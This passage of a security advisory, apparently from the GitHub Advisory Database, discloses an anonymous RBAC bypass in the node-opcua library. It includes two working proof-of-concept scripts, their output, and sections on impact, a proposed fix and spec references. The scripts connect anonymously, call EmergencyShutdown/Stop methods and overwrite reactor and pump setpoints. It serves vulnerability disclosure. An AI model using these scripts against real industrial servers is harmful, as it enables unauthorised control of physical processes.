securityModes: [MessageSecurityMode.None], allowAnonymous: true }); await server.initialize(); const ns = server.engine.addressSpace.getOwnNamespace(); // Operator hardening: namespace-level RBAC, Anonymous excluded ns.setDefaultRolePermissions([ { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }, { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") } ]); if (SAFE_MODE) { setNamespaceMetaData(ns); } const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects }); parentNodeId = device.nodeId; const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] }); method.bindMethod((_in, _ctx, cb) => { console.log("[server] EmergencyShutdown EXECUTED by anonymous caller"); cb(null, { statusCode: StatusCodes.Good, outputArguments: [] }); }); methodNodeId = method.nodeId; const variable = ns.addVariable({ browseName: "ReactorSetpoint", componentOf: device, dataType: DataType.Double, accessLevel: "CurrentRead | CurrentWrite", userAccessLevel: "CurrentRead | CurrentWrite", value: { dataType: DataType.Double, value: 350.0 } }); variableNodeId = variable.nodeId; await server.start(); console.log(`[server] Listening on ${ENDPOINT}`); return server; } async function anonymousAttack() { const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None }); await client.connect(ENDPOINT); const session = await client.createSession({ type: UserTokenType.Anonymous }); console.log("[client] Anonymous session activated"); let callStatus; try { const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] }); callStatus = r.statusCode.toString(); } catch (e) { callStatus = e.message; } let writeStatus; try { const r = await session.write({ nodeId: variableNodeId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999.0 } } }); writeStatus = r.toString(); } catch (e) { writeStatus = e.message; } await session.close(); await client.disconnect(); return { callStatus, writeStatus }; } (async () => { const server = await startServer(); try { const { callStatus, writeStatus } = await anonymousAttack(); console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`); console.log(`CALL EmergencyShutdown : ${callStatus}`); console.log(`WRITE ReactorSetpoint : ${writeStatus}`); const vuln = callStatus.includes("Good") || writeStatus.includes("Good"); console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced"); } finally { await server.shutdown(); } })().catch(e => { console.error(e); process.exit(1); }); ``` **Vulnerable output** (`node poc_b_e2e_rbac.js`): ```text [server] EmergencyShutdown EXECUTED by anonymous caller Mode: VULNERABLE CALL EmergencyShutdown : Good (0x00000000) WRITE ReactorSetpoint : Good (0x00000000) ``` **Control output** (`node poc_b_e2e_rbac.js --safe`): ```text Mode: SAFE CALL EmergencyShutdown : BadUserAccessDenied (0x801f0000) WRITE ReactorSetpoint : BadUserAccessDenied (0x801f0000) ``` ### PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it) Save as `packages/node-opcua/poc_c_nodeset_rbac.js`, then run `node poc_c_nodeset_rbac.js`: ```js const { OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes, MessageSecurityMode, SecurityPolicy, UserTokenType, WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets } = require("node-opcua"); const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/"; let deviceId, methodId, variableId; async function startServer() { const server = new OPCUAServer({ port: PORT, securityPolicies: [SecurityPolicy.None], securityModes: [MessageSecurityMode.None], allowAnonymous: true, nodeset_filename: [nodesets.standard, nodesets.di] }); await server.initialize(); const di = server.engine.addressSpace.getNamespace(DI_URI); di.setDefaultRolePermissions([ { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") } ]); try { setNamespaceMetaData(di); console.log("[server] hardening: metadata bound"); } catch (e) { console.log("[server] hardening FAILED:", e.message); } const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects }); deviceId = device.nodeId; const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] }); m.bindMethod((_i, _c, cb) => { console.log("[server] Stop() EXECUTED by anonymous"); cb(null, { statusCode: StatusCodes.Good, outputArguments: [] }); }); methodId = m.nodeId; const v = di.addVariable({ browseName: "Setpoint", componentOf: device, dataType: DataType.Double, accessLevel: "CurrentRead | CurrentWrite", userAccessLevel: "CurrentRead | CurrentWrite", value: { dataType: DataType.Double, value: 42 } }); variableId = v.nodeId; await server.start(); return server; } async function attack() { const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None }); await client.connect(`opc.tcp://localhost:${PORT}`); const s = await client.createSession({ type: UserTokenType.Anonymous }); const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString(); const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString(); await s.close(); await client.disconnect(); console.log("CALL Stop() :", call); console.log("WRITE Setpoint :", write); } (async () => { const srv = await startServer(); try { await attack(); } finally { await srv.shutdown(); } })().catch(e => { console.error(e); process.exit(1); }); ``` **Output:** ```text [server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/ [server] Stop() EXECUTED by anonymous CALL Stop() : Good (0x00000000) WRITE Setpoint : Good (0x00000000) ``` --- ## Impact - **Write** arbitrary values to Variables (`CurrentWrite`) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters. - **Call** bound Methods. Methods have no AccessLevel second gate; `executable` defaults to `true` for bound methods (`ua_method_impl.ts`). - Affects **every Node** relying on the namespace `DefaultRolePermissions` inheritance mandated by OPC 10000-3 §5.2.9. - Anonymous receives **every** `PermissionFlag` because `null` resolves to `allPermissions`. - Availability impact (**A:H**, CVSS **9.8**) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored `A:N` as deployment-specific. ## What is NOT affected Servers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case. - Nodes with explicit **per-node** `RolePermissions` (correctly enforced - PoC-A case A). - Programmatically-created namespaces where the operator calls **both** `setDefaultRolePermissions()` **and** `setNamespaceMetaData()` (PoC-B `--safe`). - Variables without `CurrentWrite` in AccessLevel (the **Call** vector still applies to Methods). --- ## Proposed Fix 1. **Fail-closed** - `getPermissionForRole(null)` should return `PermissionFlag.None`, not `allPermissions` (per §4.8.3 default-deny). 2. **Coherent path** - `getApplicableRolePermissions()` should use `node.getRolePermissions(inherited=true)`, which already reads the namespace field correctly. 3. **API safety** - `setDefaultRolePermissions()` should take effect on enforcement directly, without requiring `setNamespaceMetaData()` (which throws on nodeset-loaded namespaces). 4. **Hardening** - `server_engine.ts:947-957` should not unconditionally reset `DefaultRolePermissions`. --- ## Spec Reference (verified verbatim against the official OPC Foundation reference) - **OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles:** *"If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns `Bad_UserAccessDenied`."* (default-deny, the behaviour Bug 1 inverts). <https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3> - **OPC 10000-3 §5.2.9 - RolePermissions:** *"If not specified, the value of `DefaultRolePermissions` Property from the `NamespaceMetadata` Object associated with the Node shall be used instead."* and *"If a Server supports Permissions for a particular Namespace it shall add the `DefaultRolePermissions` Property to the `NamespaceMetadata` Object for that Namespace."* <https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9> - **OPC 10000-5 §6.3.13 - NamespaceMetadataType** (defines `DefaultRolePermissions` / `DefaultUserRolePermissions` as Properties of the `NamespaceMetadata` Object). <https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13>
- Source published
- 10 Nov 2026 15:56:52 UTC
- Source modified
- 10 Nov 2026 16:15:06 UTC
- Saved here
- 10 Nov 2026 16:21:51 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Publisher rating · CRITICAL